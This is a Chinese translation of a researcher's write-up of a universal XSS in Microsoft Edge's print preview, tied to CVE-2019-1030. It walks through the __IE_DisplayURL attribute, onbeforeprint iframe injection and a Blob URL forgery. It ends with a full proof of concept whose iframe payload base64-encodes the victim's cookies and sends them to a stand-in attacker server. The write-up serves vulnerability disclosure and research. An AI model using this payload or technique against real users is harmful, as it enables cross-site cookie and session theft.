Edge浏览器中的Universal XSS

iso60001  1900天前

22.jpg

在各类XSS漏洞中,uXSS可以说是一种非常特殊的类别,它和浏览器或浏览器的插件有关,和具体网站无关。这就像你在所有的网站上都有一个非常有趣的XSS(某个浏览器下)。

在这篇文章中我将讲述在Edge浏览器中发现的这个uXSS。通常来说,uXSS与iframe元素或者URL有关,我从没想过我会通过print()函数找到一个uXSS。

打印预览

先让我们讨论一下当Edge浏览器显示打印预览窗口时发生的事情。

我一直以为这只是一个屏幕截图再复制到画布上的技术,但实际上,你正在打印的网页会复制到一个临时位置,并重新渲染!

当我们在网页中执行print()函数时,我们可以在Process Monitor中看到如下画面:

33.png

是的,Edge正在临时目录中创建一个文件,文件内容是我们试图打印页面的小改版本。让我们来对比一下。

原始页面:

<!doctype html>
<html>
<head>
    <title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
    window.print();
}
</script>
</body>
</html>

临时页面:

<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><meta 
content="text/html; charset=utf-8" http-equiv=Content-Type>
<base HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <iframe src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></iframe> 
<script>
qbutt.on click=e=&gt;{
    window.print();
}
</script>
</BODY></HTML>

从以上两个页面中我们可以发现一些不同。

  1. Js语句会被实体编码,无法渲染。

  2. IFRAME会指向一个本地文件,该文件包含原始引用页面bing.com的源代码。

  3. HTML元素现在有一个特殊的属性__IE_DisplayURL

我做了一些关于第1点和第2点的测试,试图找出在编码之后仍然能生效的js语句。但事实证明,来自<script>元素中的任何语句,不管有效无效,都不会执行。

而关于第2点,我能使用CSS的@media print{}函数加上CSS选择器借助iframe的ref值提取出系统用户名。然而,这还不够好。

而这第3点正是本文最有趣的地方,这个属性一看就非常不寻常,我以前从未看过。所以我立刻查找了相关的文章,貌似Masato Kinugawa在这方面有些研究。

在学习了一段时间后,我发现打印预览内容和这个属性紧密相关,它指明了打印文档的来源(来自哪个网站)。这正好符合Edge使用file:来打开文件这一行为。你会注意到此文档(在打印预览中)的所有请求行为与原始网站完全相同。

那么,我们怎么利用这个属性呢?

在打印预览中执行javascript

就像我之前说过的,任何来自script标签的js语句都会被忽略。但如果是来自其他标记呢?我尝试了所有我能想到的语句,并最终有所发现。

由于我们一直在讨论打印功能,所以很自然想到了和打印相关的事件,最后找到了onbeforeprint。利用它,我可以注入一个指向任何网站的iframe,而且Edge不会将其转换为文件。在我注入一个包含javascript:iframe后,发现js语句成功执行。

测试语句:

<!doctype html>
<html>
<head>
    <title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
    window.print();
}

window.onbeforeprint=function(e){
    qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;

    }
</script>
</body>
</html>

打印预览转换后:

<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><meta 
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<base HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <div 
id="qcontent"><iframe src="ja vasc ript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe></div>
<script>
qbutt.onclick=e=&gt;{
    window.print();
}

window.onbeforeprint=function(e){
    qcontent.innerHTML=`&lt;iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"&gt;&lt;/iframe&gt;`;

    }
</script>
</BODY></HTML>

结果:

44.png

但是,成功执行js语句并不意味着我们完成了所有任务。如前所述,由于__IE_DisplayURL属性的存在,任何请求或API都会被视为来自于原始文档(无法攻击外部网站)。

真正的uXSS

在能执行js语句后,我们需要以某种方式用自定义的__IE_DisplayURL来构建我们自己的“打印预览文档”,这样我们就能对任意网站发动uXSS攻击。

很快我发现Blob URL可以做到这一点!为此,我制作了特殊的打印文档,其中的自定义属性指向我的目标网站(本例中为“bing.com”),并且它还包含一个javascript iframe,就像在“bing.com”网站中执行一样。

插入的Js语句如下:

if (top.location.protocol == 'file:') {
    setTimeout(function() {
        top.location = URL.createobjectURL(new Blob([top.document.getElementById('qd').value], {
            type: 'text/html'
        }))
    }, 1000)
}

其中top.document.getElementById('qd').value就是指如下虚假打印文档:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
__IE_DisplayURL="https://www.bing.com/"><HEAD><meta content="text/html; 
charset=windows-1252" http-equiv=Content-Type>
<base HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
    width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>

<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>

现在,我可以看到网站cookie,并且已发送到某个服务器上。

现在让我来总结一下整体利用流程:

  1. 利用onbeforeprint,我插入一个iframe,它能打印之前触发我的js语句。

  2. 调用window.print()进行初始化。

  3. Edge出现打印预览窗口,内容为我插入的js语句,并进行渲染。

  4. 这些js语句会创建了一个Blob URL,其中有我自定义的来自“bing.com”打印文档,并将顶部帧重定向到这个URL。

  5. 打印预览内容会误认为我的Blob URL的内容是一个合法的打印文档,并通过__IE_DisplayURL属性将文档来源设置为bing.com

  6. 这个虚假的打印文档现在包含另一个javascript iframe,它会显示bing.com网站的cookie。

  7. uXSS成功实现!

PoC and Video

最后的PoC代码如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>

</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
__IE_DisplayURL="https://www.bing.com/"><HEAD><me ta content="text/html; 
charset=windows-1252" http-equiv=Content-Type>
<base HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
    width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>

<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>


var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.on beforeprint=function(e){
    qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createobjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;

    }

window.print();
</script>

<style>


</style>


</body>

</html>

演示视频地址如下:

https://i.imgur.com/TYAQHp3.mp4

aa.png

参考链接:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://leucosite.com/Microsoft-Edge-uXSS/?q=

最新评论

昵称
邮箱
提交评论